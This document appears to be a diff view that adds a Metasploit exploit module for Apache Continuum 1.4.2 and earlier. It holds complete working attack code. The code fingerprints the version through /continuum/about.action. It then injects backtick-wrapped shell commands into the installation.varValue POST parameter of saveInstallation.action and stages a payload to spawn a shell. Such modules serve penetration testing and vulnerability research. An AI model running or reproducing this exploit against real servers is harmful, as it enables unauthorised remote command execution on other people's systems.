|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + |
| 8 | + Rank = ExcellentRanking |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + include Msf::Exploit::CmdStager |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Apache Continuum Arbitrary Command Execution', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a command injection in Apache Continuum <= 1.4.2. |
| 18 | + By injecting a command into the installation.varValue POST parameter to |
| 19 | + /continuum/saveInstallation.action, a shell can be spawned. |
| 20 | + }, |
| 21 | + 'Author' => [ |
| 22 | + 'David Shanahan', # Proof of concept |
| 23 | + 'wvu' # Metasploit module |
| 24 | + ], |
| 25 | + 'References' => [ |
| 26 | + %w{EDB 39886} |
| 27 | + ], |
| 28 | + 'DisclosureDate' => 'Apr 6 2016', |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'Platform' => 'linux', |
| 31 | + 'Arch' => [ARCH_X86, ARCH_X86_64], |
| 32 | + 'Privileged' => false, |
| 33 | + 'Targets' => [ |
| 34 | + ['Apache Continuum <= 1.4.2', {}] |
| 35 | + ], |
| 36 | + 'DefaultTarget' => 0 |
| 37 | + )) |
| 38 | + |
| 39 | + register_options([ |
| 40 | + Opt::RPORT(8080) |
| 41 | + ]) |
| 42 | + end |
| 43 | + |
| 44 | + def check |
| 45 | + res = send_request_cgi( |
| 46 | + 'method' => 'GET', |
| 47 | + 'uri' => '/continuum/about.action' |
| 48 | + ) |
| 49 | + |
| 50 | + if res && res.body.include?('1.4.2') |
| 51 | + CheckCode::Appears |
| 52 | + elsif res && res.code == 200 |
| 53 | + CheckCode::Detected |
| 54 | + else |
| 55 | + CheckCode::Safe |
| 56 | + end |
| 57 | + end |
| 58 | + |
| 59 | + def exploit |
| 60 | + print_status('Injecting CmdStager payload...') |
| 61 | + execute_cmdstager(flavor: :bourne) |
| 62 | + end |
| 63 | + |
| 64 | + def execute_command(cmd, opts = {}) |
| 65 | + send_request_cgi( |
| 66 | + 'method' => 'POST', |
| 67 | + 'uri' => '/continuum/saveInstallation.action', |
| 68 | + 'vars_post' => { |
| 69 | + 'installation.name' => Rex::Text.rand_text_alpha(8), |
| 70 | + 'installation.type' => 'jdk', |
| 71 | + 'installation.varValue' => '`' + cmd + '`' |
| 72 | + } |
| 73 | + ) |
| 74 | + end |
| 75 | + |
| 76 | +end |
0 commit comments